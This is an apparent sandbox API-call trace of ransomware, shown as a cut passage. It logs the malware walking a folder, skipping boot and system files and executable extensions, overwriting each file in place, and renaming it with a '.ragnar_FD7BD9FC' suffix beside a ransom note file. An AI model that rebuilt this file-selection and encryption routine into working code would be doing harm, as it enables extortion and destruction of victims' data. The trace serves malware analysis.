ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e798b20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e798b20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.209] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0074.209] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e798b20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e798b20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.209] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0074.209] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0074.209] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0074.209] lstrcmpiW (lpString1="IRIS.ELM", lpString2=".") returned 1 [0074.209] lstrcmpiW (lpString1="IRIS.ELM", lpString2="..") returned 1 [0074.209] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0074.209] lstrcmpiW (lpString1="IRIS.INF", lpString2=".") returned 1 [0074.209] lstrcmpiW (lpString1="IRIS.INF", lpString2="..") returned 1 [0074.209] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.209] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0074.209] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0074.209] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e798b20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e798b20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.209] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0074.210] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0074.210] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.210] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0074.210] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0074.210] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.210] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e798b20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e798b20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.210] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e798b20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e798b20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.210] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0074.210] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0074.210] lstrcpyW (in: lpString1=0x1eab6a, lpString2="IRIS.ELM" | out: lpString1="IRIS.ELM") returned="IRIS.ELM" [0074.210] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned=".ELM" [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="autorun.inf") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="boot.ini") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="bootfont.bin") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="bootsect.bak") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="bootmgr") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="bootmgr.efi") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="bootmgfw.efi") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="desktop.ini") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="iconcache.db") returned 1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="ntldr") returned -1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="ntuser.dat") returned -1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="ntuser.dat.log") returned -1 [0074.210] lstrcmpiW (lpString1="IRIS.ELM", lpString2="ntuser.ini") returned -1 [0074.211] lstrcmpiW (lpString1="IRIS.ELM", lpString2="thumbs.db") returned -1 [0074.211] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0074.211] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0074.211] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0074.211] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0074.211] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0074.211] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0074.211] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0074.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm")) returned 0x20 [0074.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.219] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=65885) returned 1 [0074.219] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.219] GetProcessHeap () returned 0x580000 [0074.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.220] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.222] VirtualAlloc (lpAddress=0x0, dwSize=0x1015d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.222] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.222] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.222] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1015d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1015d, lpOverlapped=0x0) returned 1 [0074.224] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.225] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1015d, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.225] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1015d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1015d, lpOverlapped=0x0) returned 1 [0074.225] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1015d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.225] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.226] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1015d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.226] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.226] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.226] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.226] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.226] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.226] GetProcessHeap () returned 0x580000 [0074.226] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.226] CloseHandle (hObject=0x10c) returned 1 [0074.227] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" [0074.227] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.ragnar_FD7BD9FC" [0074.227] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.229] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0074.229] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0074.229] lstrcpyW (in: lpString1=0x1eab6a, lpString2="IRIS.INF" | out: lpString1="IRIS.INF") returned="IRIS.INF" [0074.229] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF") returned=".INF" [0074.229] lstrcmpiW (lpString1="IRIS.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.229] lstrcmpiW (lpString1="IRIS.INF", lpString2="autorun.inf") returned 1 [0074.229] lstrcmpiW (lpString1="IRIS.INF", lpString2="boot.ini") returned 1 [0074.229] lstrcmpiW (lpString1="IRIS.INF", lpString2="bootfont.bin") returned 1 [0074.229] lstrcmpiW (lpString1="IRIS.INF", lpString2="bootsect.bak") returned 1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="bootmgr") returned 1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="bootmgr.efi") returned 1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="bootmgfw.efi") returned 1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="desktop.ini") returned 1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="iconcache.db") returned 1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="ntldr") returned -1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="ntuser.dat") returned -1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="ntuser.dat.log") returned -1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="ntuser.ini") returned -1 [0074.230] lstrcmpiW (lpString1="IRIS.INF", lpString2="thumbs.db") returned -1 [0074.230] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0074.230] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0074.230] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0074.230] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0074.230] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0074.230] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0074.230] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0074.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf")) returned 0x20 [0074.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.230] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=462) returned 1 [0074.230] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.230] GetProcessHeap () returned 0x580000 [0074.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.230] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.231] VirtualAlloc (lpAddress=0x0, dwSize=0x1ce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.231] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.231] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.232] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1ce, lpOverlapped=0x0) returned 1 [0074.232] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.232] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.232] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ce, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1ce, lpOverlapped=0x0) returned 1 [0074.232] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.232] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.232] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.232] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.232] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.232] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.232] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.233] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.233] GetProcessHeap () returned 0x580000 [0074.233] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.233] CloseHandle (hObject=0x10c) returned 1 [0074.233] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" [0074.233] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.ragnar_FD7BD9FC" [0074.233] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.234] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.234] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0074.234] lstrcpyW (in: lpString1=0x1eab6a, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0074.234] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned=".GIF" [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0074.234] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0074.235] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0074.235] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0074.235] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0074.235] lstrcmpiW 